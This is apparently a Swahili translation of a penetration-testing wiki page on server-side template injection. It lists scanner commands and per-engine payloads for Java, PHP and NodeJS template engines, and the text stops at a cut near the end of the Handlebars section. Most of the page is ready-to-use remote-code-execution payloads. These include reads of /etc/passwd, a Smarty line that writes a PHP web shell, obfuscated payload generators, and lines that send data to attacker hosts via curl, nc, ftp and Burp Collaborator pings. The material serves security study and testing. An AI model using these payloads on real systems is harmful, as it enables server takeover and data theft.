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# SSTI (Server Side Template Injection)
{{#include ../../banners/hacktricks-training.md}}
## What is SSTI (Server-Side Template Injection)
Server-side template injection ni udhaifu unaotokea wakati mshambuliaji anaweza kuingiza msimbo mbaya kwenye kiolezo kinachotekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
Jinja ni injini maarufu ya kiolezo inayotumika katika programu za wavuti. Hebu tuchukue mfano unaoonyesha kipande cha msimbo kilichoharibika kinachotumia Jinja:
```python
output = template.render(name=request.args.get('name'))
```
Katika hii nambari iliyo hatarini, parameter ya `name` kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kiolezo kwa kutumia kazi ya `render`. Hii inaweza kuruhusu mshambuliaji kuingiza nambari mbaya kwenye parameter ya `name`, na kusababisha kuingizwa kwa kiolezo upande wa seva.
Kwa mfano, mshambuliaji anaweza kuunda ombi lenye mzigo kama huu:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Payload `{{bad-stuff-here}}` imeingizwa kwenye parameter `name`. Payload hii inaweza kuwa na maagizo ya template ya Jinja ambayo yanamwezesha mshambuliaji kutekeleza msimbo usioidhinishwa au kubadilisha injini ya template, na hivyo kupata udhibiti wa seva.
Ili kuzuia udhaifu wa kuingizwa kwa template upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa pembejeo za mtumiaji zimeondolewa na kuthibitishwa ipasavyo kabla ya kuingizwa kwenye templates. Kutekeleza uthibitishaji wa pembejeo na kutumia mbinu za kukwepa zinazojulikana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
### Ugunduzi
Ili kugundua Kuingizwa kwa Template upande wa Seva (SSTI), awali, **kufanya fuzzing kwenye template** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) kwenye template na kuchambua tofauti katika majibu ya seva kwa data ya kawaida dhidi ya payload hii maalum. Viashiria vya udhaifu ni pamoja na:
- Makosa yaliyotupwa, yanayoonyesha udhaifu na labda injini ya template.
- Kukosekana kwa payload kwenye reflection, au sehemu zake kukosekana, ikionyesha kuwa seva inashughulikia tofauti na data ya kawaida.
- **Muktadha wa Plaintext**: Tofautisha na XSS kwa kuangalia ikiwa seva inakadiria maelekezo ya template (kwa mfano, `{{7*7}}`, `${7*7}`).
- **Muktadha wa Msimbo**: Thibitisha udhaifu kwa kubadilisha vigezo vya pembejeo. Kwa mfano, kubadilisha `greeting` kwenye `http://vulnerable-website.com/?greeting=data.username` ili kuona ikiwa matokeo ya seva ni ya kubadilika au ya kudumu, kama kwenye `greeting=data.username}}hello` inarudisha jina la mtumiaji.
#### Awamu ya Utambuzi
Kutambua injini ya template kunahusisha kuchambua ujumbe wa makosa au kujaribu kwa mikono payload mbalimbali maalum za lugha. Payload za kawaida zinazosababisha makosa ni pamoja na `${7/0}`, `{{7/0}}`, na `<%= 7/0 %>`. Kuangalia majibu ya seva kwa operesheni za kihesabu husaidia kubaini injini maalum ya template.
#### Utambuzi kwa payloads
<figure><img src="../../images/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
- Maelezo zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
## Zana
### [TInjA](https://github.com/Hackmanit/TInjA)
scanner bora wa SSTI + CSTI inayotumia polyglots mpya
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
```
### [SSTImap](https://github.com/vladko312/sstimap)
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
```
### [Tplmap](https://github.com/epinna/tplmap)
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
meza ya mwingiliano inayojumuisha polyglots za uhamasishaji wa template zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu za template.
## Exploits
### Generic
Katika **wordlist** hii unaweza kupata **variables defined** katika mazingira ya baadhi ya injini zilizoainishwa hapa chini:
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
### Java
**Java - Basic injection**
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
```
**Java - Pata mabadiliko ya mazingira ya mfumo**
```java
${T(java.lang.System).getenv()}
```
**Java - Pata /etc/passwd**
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
### FreeMarker (Java)
Unaweza kujaribu payloads zako kwenye [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
- `{{7*7}} = {{7*7}}`
- `${7*7} = 49`
- `#{7*7} = 49 -- (legacy)`
- `${7*'7'} Nothing`
- `${foobar}`
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - Sandbox bypass**
⚠️ inafanya kazi tu kwenye toleo za Freemarker chini ya 2.3.30
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
**Taarifa zaidi**
- Katika sehemu ya FreeMarker ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
### Velocity (Java)
```java
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
```
**Taarifa zaidi**
- Katika sehemu ya Velocity ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
### Thymeleaf
Katika Thymeleaf, mtihani wa kawaida wa udhaifu wa SSTI ni usemi `${7*7}`, ambao pia unatumika kwa injini hii ya templeti. Kwa uwezekano wa utekelezaji wa msimbo wa mbali, usemi kama ifuatavyo unaweza kutumika:
- SpringEL:
```java
${T(java.lang.Runtime).getRuntime().exec('calc')}
```
- OGNL:
```java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf inahitaji usemi haya kuwekwa ndani ya sifa maalum. Hata hivyo, _expression inlining_ inasaidiwa kwa maeneo mengine ya templeti, kwa kutumia sintaksia kama `[[...]]` au `[(...)]`. Hivyo, mzigo rahisi wa mtihani wa SSTI unaweza kuonekana kama `[[${7*7}]]`.
Hata hivyo, uwezekano wa mzigo huu kufanya kazi kwa ujumla ni mdogo. Mipangilio ya kawaida ya Thymeleaf haisaidii uundaji wa templeti za kidinamik; templeti lazima ziwe zimeandaliwa mapema. Wataalamu wa maendeleo wangehitaji kutekeleza `TemplateResolver` yao ili kuunda templeti kutoka kwa nyuzi kwa wakati halisi, jambo ambalo si la kawaida.
Thymeleaf pia inatoa _expression preprocessing_, ambapo usemi ndani ya viwango viwili vya chini (`__...__`) unachakatwa kabla. Kipengele hiki kinaweza kutumika katika ujenzi wa usemi, kama inavyoonyeshwa katika nyaraka za Thymeleaf:
```java
#{selection.__${sel.code}__}
```
**Mfano wa Uthibitisho katika Thymeleaf**
Fikiria kipande hiki cha msimbo, ambacho kinaweza kuwa na hatari ya kutumiwa:
```xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
Hii inaonyesha kwamba ikiwa injini ya templeti itashughulikia hizi ingizo vibaya, inaweza kusababisha utekelezaji wa msimbo wa mbali ikifikia URL kama:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
**Maelezo zaidi**
- [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
{{#ref}}
el-expression-language.md
{{#endref}}
### Spring Framework (Java)
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
**Kupita filters**
Maelezo mengi ya mabadiliko yanaweza kutumika, ikiwa `${...}` haitafanya kazi jaribu `#{...}`, `*{...}`, `@{...}` au `~{...}`.
- Soma `/etc/passwd`
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
- Skripti Maalum kwa ajili ya uzalishaji wa payload
```python
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
```
**Taarifa Zaidi**
- [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
- [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### Usanifu wa Mtazamo wa Spring (Java)
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
- [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
{{#ref}}
el-expression-language.md
{{#endref}}
### Pebble (Java)
- `{{ someString.toUPPERCASE() }}`
Toleo la zamani la Pebble ( < version 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
Toleo jipya la Pebble :
```java
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
### Jinjava (Java)
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava ni mradi wa chanzo wazi ulioendelezwa na Hubspot, upatikana kwenye [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
**Jinjava - Utendaji wa amri**
Imerekebishwa na [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
**Taarifa zaidi**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
### Hubspot - HuBL (Java)
- `{% %}` mipaka ya taarifa
- `{{ }}` mipaka ya maelezo
- `{# #}` mipaka ya maoni
- `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
- `{{'a'.toUpperCase()}}` - "A"
- `{{'a'.concat('b')}}` - "ab"
- `{{'a'.getClass()}}` - java.lang.String
- `{{request.getClass()}}` - darasa com.hubspot.content.hubl.context.TemplateContextRequest
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Tafuta "com.hubspot.content.hubl.context.TemplateContextRequest" na kugundua [mradi wa Jinjava kwenye Github](https://github.com/HubSpot/jinjava/).
```java
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```
**Maelezo zaidi**
- [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
### Lugha ya Kielelezo - EL (Java)
- `${"aaaa"}` - "aaaa"
- `${99999+1}` - 100000.
- `#{7*7}` - 49
- `${{7*7}}` - 49
- `${{request}}, ${{session}}, {{faceContext}}`
Lugha ya Kielelezo (EL) ni kipengele cha msingi kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama vile beans zinazodhibitiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE ili kurahisisha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:
- **JavaServer Faces (JSF)**: Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na vitendo vya nyuma vinavyolingana.
- **JavaServer Pages (JSP)**: EL inatumika katika JSP kwa kupata na kubadilisha data ndani ya kurasa za JSP, na kufanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya programu.
- **Muktadha na Uingizaji wa Kazi kwa Java EE (CDI)**: EL inajumuika na CDI kuruhusu mwingiliano usio na mshono kati ya safu ya wavuti na beans zinazodhibitiwa, kuhakikisha muundo wa programu unaoeleweka zaidi.
Angalia ukurasa ufuatao kujifunza zaidi kuhusu **kudhulumu wa tafsiri za EL**:
{{#ref}}
el-expression-language.md
{{#endref}}
### Groovy (Java)
Mifano ifuatayo ya kupita Meneja wa Usalama ilichukuliwa kutoka kwenye [**andika**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
```java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
### Java Nyingine
<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
- Maelezo zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
##
### Smarty (PHP)
```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
**Taarifa zaidi**
- Katika sehemu ya Smarty ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
### Twig (PHP)
- `{{7*7}} = 49`
- `${7*7} = ${7*7}`
- `{{7*'7'}} = 49`
- `{{1/0}} = Error`
- `{{foobar}} Nothing`
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
```
**Twig - Muundo wa kiolezo**
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
**Taarifa zaidi**
- Katika sehemu ya Twig na Twig (Sandboxed) ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
Plates ni injini ya kutengeneza mifano asilia kwa PHP, ikichota msukumo kutoka Twig. Hata hivyo, tofauti na Twig, ambayo inintroduce sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika mifano, na kuifanya iwe rahisi kwa waendelezaji wa PHP.
Controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
Sampuli ya ukurasa:
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
Sanjari la mpangilio:
```html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
```
**Maelezo zaidi**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
### PHPlib na HTML_Template_PHPLIB (PHP)
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) ni sawa na PHPlib lakini imehamishwa kwa Pear.
`authors.tpl`
```html
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
```
`authors.php`
```php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
**Taarifa zaidi**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
### PHP Nyingine
<figure><img src="../../images/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
- Taarifa zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Jade (NodeJS)
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
**Taarifa zaidi**
- Katika sehemu ya Jade ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) injini ya kutengeneza templates ya PHP isiyo na uandishi, inayotumia lebo za XML kugawanya hati katika sehemu tofauti
```xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
```
**Taarifa zaidi**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
### Handlebars (NodeJS)
Path Traversal (taarifa zaidi [hapa](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
- \= Kosa
- ${7\*7} = ${7\*7}
- Hakuna
```java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
